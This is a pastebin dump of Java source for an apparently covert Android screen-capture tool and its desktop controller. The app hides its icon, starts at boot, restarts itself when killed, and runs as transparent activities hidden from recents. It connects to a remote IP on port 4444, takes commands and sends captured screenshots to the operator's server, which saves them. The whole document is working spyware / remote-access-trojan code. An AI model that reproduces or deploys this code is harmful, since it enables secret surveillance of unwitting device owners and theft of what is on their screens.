Advertisement
Guest User

Untitled

a guest
Nov 22nd, 2017
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 19.82 KB | None | 0 0
  1. package com.example.test.test;
  2.  
  3. import android.app.Service;
  4. import android.content.Context;
  5. import android.content.Intent;
  6. import android.net.ConnectivityManager;
  7. import android.net.NetworkInfo;
  8. import android.os.IBinder;
  9. import android.util.Log;
  10. import java.io.DataInputStream;
  11. import java.io.DataOutputStream;
  12. import java.io.IOException;
  13. import java.net.InetSocketAddress;
  14. import java.net.Socket;
  15. import java.net.SocketException;
  16. import java.net.SocketTimeoutException;
  17. import java.net.UnknownHostException;
  18.  
  19.  
  20. public class myService extends Service
  21. {
  22.     Socket socket;
  23.     private String IP = ""; //IP dinamico
  24.     private int port = 4444;
  25.     DataInputStream in;
  26.     DataOutputStream out;
  27.     String comando = null;
  28.     public int connected = 0;
  29.  
  30.     public void checkConnection()
  31.     {
  32.         ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(Context.CONNECTIVITY_SERVICE);
  33.         if(connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_MOBILE).getState() == NetworkInfo.State.CONNECTED || connectivityManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI).getState() == NetworkInfo.State.CONNECTED)
  34.         {
  35.             connected = 1;
  36.         }
  37.         else
  38.             connected = 0;
  39.     }
  40.  
  41.     @Override
  42.     public  void  onDestroy()
  43.     {
  44.         Log.e("myTag", "SERVICE DISTRUTTO! Riavvio. . .");
  45.        startService(new Intent(this, myService.class));
  46.         Log.e("myTag", "SERVICE Ri-avviato!");
  47.  
  48.     }
  49.  
  50.     @Override
  51.     public void onCreate()
  52.     {
  53.         super.onCreate();
  54.     }
  55.  
  56.     @Override
  57.     public IBinder onBind(Intent intent)
  58.     {
  59.         return null;
  60.     }
  61.  
  62.     @Override
  63.     public int onStartCommand(final Intent intent, int flags, int startId)
  64.     {
  65.  
  66.         new Thread(new Runnable()
  67.         {
  68.  
  69.             //@Override
  70.             public void run()
  71.             {
  72.  
  73.                 checkConnection();
  74.                 while (connected == 1)
  75.                 {
  76.                     try
  77.                     {
  78.                         {
  79.                             Socket socket = new Socket();
  80.                             socket.connect(new InetSocketAddress(IP, port), 60000);
  81.                             //socket.setSoTimeout(0); //10000 = 10s  60000 = 60s  300000 = 5min
  82.                             in = new DataInputStream(socket.getInputStream());
  83.                             out = new DataOutputStream(socket.getOutputStream());
  84.                             try
  85.                             {
  86.                                 String comando = in.readUTF();
  87.  
  88.                                 if (comando.toLowerCase().equals("wifi")) //Controllo se il device ΠΈ connesso a wi-fi
  89.                                 {
  90.                                     ConnectivityManager connManager = (ConnectivityManager) getSystemService(Context.CONNECTIVITY_SERVICE);
  91.                                     NetworkInfo mWifi = connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI);
  92.  
  93.                                     if (mWifi.isConnected())
  94.                                     {
  95.                                         out.writeBytes("[+]Dispositivo CONNESSO a WiFi. . . . ");
  96.                                     }
  97.                                     else
  98.                                     {
  99.                                         out.writeBytes("[-]Dispositivo NON-CONNESSO a WiFi. . . . ");
  100.                                     }
  101.                                 }
  102.  
  103.                                 if (comando.toLowerCase().equals("start"))
  104.                                 {
  105.                                     Intent myIntent = new Intent(getApplicationContext(), Main2Activity.class);
  106.                                     myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
  107.                                     startActivity(myIntent);
  108.                                     //socket.close();
  109.                                 }
  110.                                 else
  111.                                 {
  112.                                     out.writeBytes(comando + " SERVICE");
  113.                                     socket.close();
  114.                                 }
  115.  
  116.                             }
  117.                             catch (IOException e1)
  118.                             {
  119.                                 e1.printStackTrace();
  120.                             }
  121.                             socket.close();
  122.                         }
  123.                     }
  124.                     catch (SocketTimeoutException e)
  125.                     {
  126.                         checkConnection();
  127.                         Log.e("myTag", "TIME-OUT EXCEPTION!!!!!!!");
  128.                         e.printStackTrace();
  129.                         while (connected == 0)
  130.                         {
  131.                             Log.e("myTag", "Connessione Assente!");
  132.                             checkConnection();
  133.                         }
  134.                         if (connected == 1)
  135.                         {
  136.                             Log.e("myTag", "CONNESSIONE RI-STABILITA!");
  137.                             //run();
  138.                         }
  139.                     }
  140.                     catch (UnknownHostException e)
  141.                     {
  142.                         checkConnection();
  143.                         Log.e("myTag", "UNKNOWN-HOST EXCEPTION!!!!!!!");
  144.                         e.printStackTrace();
  145.                         while (connected == 0)
  146.                         {
  147.                             Log.e("myTag", "Connessione Assente!");
  148.                             checkConnection();
  149.                         }
  150.                         if (connected == 1)
  151.                         {
  152.                             Log.e("myTag", "CONNESSIONE RI-STABILITA!");
  153.                             //run();
  154.                         }
  155.                     }
  156.                     catch (SocketException e)
  157.                     {
  158.                         checkConnection();
  159.                         Log.e("myTag", "ERRORE SCONOSCIUTO!!!!!!!");
  160.                         e.printStackTrace();
  161.                         while (connected == 0)
  162.                         {
  163.                             Log.e("myTag", "Connessione Assente!");
  164.                             checkConnection();
  165.                         }
  166.                         if (connected == 1)
  167.                         {
  168.                             Log.e("myTag", "CONNESSIONE RI-STABILITA!");
  169.                             //run();
  170.                         }
  171.                     }
  172.                     catch (IOException e)
  173.                     {
  174.                         e.printStackTrace();
  175.                     }
  176.                 }
  177.             }
  178.  
  179.         }).start();
  180.  
  181.         return START_STICKY;
  182.     }
  183. }
  184. ////////////////////////////////////////////////////////////
  185. package com.example.test.test;
  186.  
  187. import android.content.ComponentName;
  188. import android.content.Context;
  189. import android.content.Intent;
  190. import android.content.pm.PackageManager;
  191. import android.media.projection.MediaProjectionManager;
  192. import android.os.Bundle;
  193. import android.app.Activity;
  194.  
  195. public class MainActivity extends Activity
  196. {
  197.     public int PERMISSION_CODE = 100;
  198.  
  199.     @Override
  200.     protected void onActivityResult(int requestCode, int resultCode, Intent data)
  201.     {
  202.  
  203.         if (requestCode == PERMISSION_CODE)
  204.         {
  205.             finishAndRemoveTask();
  206.         }
  207.     }
  208.  
  209.     @Override
  210.     protected void onCreate(Bundle savedInstanceState)
  211.     {
  212.         super.onCreate(savedInstanceState);
  213.  
  214.         //Fa scomparire l'icona dell'app
  215.         PackageManager p = getPackageManager();
  216.         ComponentName componentName = new ComponentName(this, com.example.test.test.MainActivity.class);
  217.         p.setComponentEnabledSetting(componentName,PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP);
  218.  
  219.         //setContentView(R.layout.activity_main);
  220.         MediaProjectionManager projectionManager = (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
  221.         startActivityForResult(projectionManager.createScreenCaptureIntent(), PERMISSION_CODE);
  222.         Intent intent = new Intent(this,myService.class);
  223.         startService(intent);
  224.  
  225.     }
  226. }
  227. ////////////////////////////////////////////////////////////
  228. package com.example.test.test;
  229.  
  230. import android.app.Activity;
  231. import android.content.Context;
  232. import android.content.Intent;
  233. import android.graphics.Bitmap;
  234. import android.graphics.PixelFormat;
  235. import android.graphics.Point;
  236. import android.hardware.display.DisplayManager;
  237. import android.hardware.display.VirtualDisplay;
  238. import android.media.Image;
  239. import android.media.ImageReader;
  240. import android.media.projection.MediaProjection;
  241. import android.media.projection.MediaProjectionManager;
  242. import android.os.Bundle;
  243. import android.util.DisplayMetrics;
  244. import android.view.Display;
  245. import android.view.WindowManager;
  246.  
  247. import java.io.DataInputStream;
  248. import java.io.DataOutputStream;
  249. import java.io.File;
  250. import java.io.FileInputStream;
  251. import java.io.FileOutputStream;
  252. import java.io.IOException;
  253. import java.io.ObjectOutputStream;
  254. import java.net.InetSocketAddress;
  255. import java.net.Socket;
  256. import java.nio.ByteBuffer;
  257.  
  258. public class Main2Activity extends Activity
  259. {
  260.     Socket socket;
  261.     private String IP = "";
  262.     private int port = 4444;
  263.     DataInputStream in;
  264.     DataOutputStream out;
  265.     String comando = null;
  266.     public int PERMISSION_CODE = 100;
  267.     public ImageReader mImageReader;
  268.     public int mWidth;
  269.     public int mHeight;
  270.     public int mDensity;
  271.     public MediaProjection mProjection;
  272.     private static final int VIRTUAL_DISPLAY_FLAGS = DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY | DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
  273.     public Image image;
  274.     public Display mDisplay;
  275.     public VirtualDisplay mVirtualDisplay;
  276.  
  277.  
  278.     public void createVirtualDisplay()
  279.     {
  280.         // get width and height
  281.         Point size = new Point();
  282.         mDisplay.getSize(size);
  283.         mWidth = size.x;
  284.         mHeight = size.y;
  285.         // start capture reader
  286.         mImageReader = ImageReader.newInstance(mWidth, mHeight, PixelFormat.RGBA_8888, 2);
  287.         mVirtualDisplay = mProjection.createVirtualDisplay("screen-mirror", mWidth, mHeight, mDensity, VIRTUAL_DISPLAY_FLAGS, mImageReader.getSurface(), null, null);
  288.     }
  289.  
  290.     @Override
  291.     protected void onActivityResult(int requestCode, int resultCode, Intent data)
  292.     {
  293.         if (requestCode == PERMISSION_CODE)
  294.         {
  295.             MediaProjectionManager projectionManager = (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
  296.             mProjection = projectionManager.getMediaProjection(resultCode, data);
  297.             // display metrics
  298.             DisplayMetrics metrics = getResources().getDisplayMetrics();
  299.             mDensity = metrics.densityDpi;
  300.             mDisplay = getWindowManager().getDefaultDisplay();
  301.             createVirtualDisplay();
  302.         }
  303.     }
  304.  
  305.  
  306.     @Override
  307.     protected void onCreate(Bundle savedInstanceState)
  308.     {
  309.         super.onCreate(savedInstanceState);
  310.         //setContentView(R.layout.activity_main2);
  311.  
  312.         //rende clickabile lo schermo sotto l'app
  313.         getWindow().addFlags(WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL | WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE);
  314.  
  315.         new Thread(new Runnable()
  316.         {
  317.             @Override
  318.             public void run()
  319.             {
  320.                 try
  321.                 {
  322.                     while(true)
  323.                     {
  324.                         //socket = new Socket(IP, port);
  325.                         socket = new Socket();
  326.                         socket.connect(new InetSocketAddress(IP, port), 6000);
  327.                         in = new DataInputStream(socket.getInputStream());
  328.                         out = new DataOutputStream(socket.getOutputStream());
  329.  
  330.                         try
  331.                         {
  332.  
  333.                             MediaProjectionManager projectionManager = (MediaProjectionManager) getSystemService(Context.MEDIA_PROJECTION_SERVICE);
  334.                             startActivityForResult(projectionManager.createScreenCaptureIntent(), PERMISSION_CODE);
  335.  
  336.                             String comando  = in.readUTF();
  337.  
  338.                             if(comando.toLowerCase().equals("stop"))
  339.                             {
  340.                                 mProjection.stop();
  341.                                 finishAndRemoveTask();
  342.                             }
  343.  
  344.                             if (comando.toLowerCase().equals("take"))
  345.                             {
  346.                                 mProjection.stop();
  347.  
  348.                                 image = mImageReader.acquireLatestImage();
  349.  
  350.                                 Image.Plane[] planes = image.getPlanes();
  351.                                 ByteBuffer buffer = planes[0].getBuffer();
  352.                                 int pixelStride = planes[0].getPixelStride();
  353.                                 int rowStride = planes[0].getRowStride();
  354.                                 int rowPadding = rowStride - pixelStride * mWidth;
  355.                                 // create bitmap
  356.                                 //File file = new File("/data/data/com.example.test.test/files/screenTest");
  357.                                 File file = new File(getFilesDir(),"screenTest");
  358.                                 FileOutputStream outputStream = new FileOutputStream(file);
  359.  
  360.                                 Bitmap bmp = Bitmap.createBitmap(mWidth+rowPadding/pixelStride, mHeight, Bitmap.Config.ARGB_8888);
  361.  
  362.                                 bmp.copyPixelsFromBuffer(buffer);
  363.                                 bmp.compress(Bitmap.CompressFormat.JPEG, 100, outputStream);
  364.                                 image.close();
  365.                                 outputStream.close();
  366.  
  367.                                 FileInputStream fis = new FileInputStream(file);
  368.                                 byte[] buffer2 = new byte[fis.available()];
  369.                                 fis.read(buffer2);
  370.  
  371.                                 ObjectOutputStream oos = new ObjectOutputStream(socket.getOutputStream());
  372.                                 oos.writeObject(buffer2);
  373.                                 oos.close();
  374.  
  375.                                 socket.close();
  376.  
  377.                                 finishAndRemoveTask();
  378.                                 break;
  379.                             }
  380.                             else
  381.                             {
  382.                                 out.writeBytes(comando + " MAIN-ACTIVITY");
  383.                                 socket.close();
  384.                             }
  385.  
  386.                         }
  387.                         catch (IOException e1)
  388.                         {
  389.                             e1.printStackTrace();
  390.                         }
  391.                         socket.close();
  392.  
  393.                     }
  394.  
  395.  
  396.                 }
  397.  
  398.                 catch (IOException e)
  399.                 {
  400.                     e.printStackTrace();
  401.                 }
  402.  
  403.             }
  404.  
  405.         }).start();
  406.  
  407.     }
  408. }
  409. ////////////////////////////////////////////////////////////
  410. <?xml version="1.0" encoding="utf-8"?>
  411. <manifest xmlns:android="http://schemas.android.com/apk/res/android"
  412. package="com.example.test.test">
  413.  
  414. <uses-permission android:name="android.permission.INTERNET" />
  415. <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
  416. <uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
  417. <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
  418. <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
  419. <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
  420. <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
  421. <uses-permission android:name="android.permission.CAMERA"/>
  422.  
  423. <application
  424.  
  425.     android:allowBackup="true"
  426.     android:icon="@mipmap/ic_launcher"
  427.     android:label="@string/app_name"
  428.     android:supportsRtl="true"
  429.     android:theme="@style/AppTheme">
  430.     <activity android:name=".MainActivity" android:theme="@style/Theme.Transparent">
  431.         <intent-filter>
  432.             <action android:name="android.intent.action.MAIN" />
  433.             <category android:name="android.intent.category.LAUNCHER" />
  434.         </intent-filter>
  435.     </activity>
  436.  
  437.     <service
  438.         android:name=".myService"
  439.         android:exported="false" />
  440.  
  441.  
  442.     <activity
  443.         android:name=".Main2Activity"
  444.         android:theme="@style/Theme.Transparent"
  445.         android:excludeFromRecents="true">
  446.         <!--rende invisibile il layout dell'app-->
  447.        <!--non mostra l'app nel TASK MANAGER-->
  448.     </activity>
  449.  
  450.     <receiver
  451.         android:name=".StartMyActivityAtBootReceiver"
  452.         android:enabled="true"
  453.         android:exported="false">
  454.         <intent-filter>
  455.             <action android:name="android.intent.action.BOOT_COMPLETED" />
  456.         </intent-filter>
  457.     </receiver>
  458. </application>
  459.  
  460.  
  461.  
  462. </manifest>
  463. ////////////////////////////////////////////////////////////
  464. package com.example.test.test;
  465.  
  466.  
  467. import android.content.BroadcastReceiver;
  468. import android.content.Context;
  469. import android.content.Intent;
  470.  
  471. public class StartMyActivityAtBootReceiver extends BroadcastReceiver
  472. {
  473.     @Override
  474.     public void onReceive(Context context, Intent intent)
  475.     {
  476.         Intent myIntent = new Intent(context, myService.class);
  477.         context.startService(myIntent);
  478.     }
  479. }
  480. ////////////////////////////////////////////////////////////
  481. import java.io.BufferedReader;
  482. import java.io.DataInputStream;
  483. import java.io.DataOutputStream;
  484. import java.io.File;
  485. import java.io.FileOutputStream;
  486. import java.io.IOException;
  487. import java.io.InputStreamReader;
  488. import java.io.ObjectInputStream;
  489. import java.net.ServerSocket;
  490. import java.net.Socket;
  491.  
  492. public class TestOK
  493. {
  494.     ServerSocket server=null;
  495.     Socket socketClient=null;
  496.  
  497.     int porta = 4444;
  498.  
  499.     DataInputStream in;
  500.     DataOutputStream out;
  501.     BufferedReader tastiera;
  502.     String comando = null;
  503.     String letto = null;
  504.    
  505.  
  506.    
  507.     public void comunica()
  508.     {
  509.        
  510.         try
  511.         {
  512.            
  513.             do
  514.             {
  515.                 socketClient = server.accept();
  516.                 System.out.println("[2]Connesso con un client");
  517.    
  518.                 in = new DataInputStream(socketClient.getInputStream());
  519.                 out = new DataOutputStream(socketClient.getOutputStream());
  520.                
  521.                 System.out.println("[!]Comando da inviare: ");
  522.                 tastiera = new BufferedReader(new InputStreamReader(System.in));
  523.                 comando = tastiera.readLine();
  524.                 out.writeUTF(comando);
  525.                 System.out.println("[!]Comando inviato: " + comando);
  526.                 if (comando.toLowerCase().equals("take")) //screenok
  527.                 {
  528.                    
  529.                     try
  530.                     {
  531.                         ObjectInputStream ois = new ObjectInputStream(socketClient.getInputStream());
  532.                         byte[] buffer = (byte[]) ois.readObject();
  533.                         FileOutputStream fos = new FileOutputStream("C:\\Users\\Amede\\Desktop\\screenTest.png");
  534.                         fos.write(buffer);
  535.                         fos.close();
  536.                         socketClient.close();
  537.    
  538.                     }
  539.                     catch(IOException | ClassNotFoundException e)
  540.                     {
  541.                         e.printStackTrace();                       
  542.                     }
  543.                    
  544.                 }
  545.                 else
  546.                 {
  547.                     letto = in.readLine();
  548.                     System.out.println("[!]Messaggio ricevuto: " + letto );
  549.                     socketClient.close();
  550.                 }
  551.                
  552.                
  553.             }
  554.             while(!comando.toLowerCase().equals("exit"));
  555.             System.out.println("[!]Chiudo la connessione");
  556.             socketClient.close();
  557.             }
  558.        
  559.         catch(IOException e)
  560.         {
  561.             e.printStackTrace();
  562.            
  563.         }
  564.    
  565.     }
  566.    
  567.     public Socket attendi()
  568.     {
  569.         try
  570.         {
  571.             System.out.println("[0]Inizializzo Server");
  572.             server = new ServerSocket(porta);
  573.             System.out.println("[1]Server pronto in ascolto sulla porta " + porta);
  574.  
  575.         }
  576.         catch(IOException e)
  577.         {
  578.             e.printStackTrace();
  579.         }
  580.         return socketClient;
  581.        
  582.     }
  583.  
  584.     public static void main(String[] args)
  585.     {
  586.         TestOK s = new TestOK();
  587.         s.attendi();
  588.         s.comunica();
  589.  
  590.     }
  591.  
  592. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement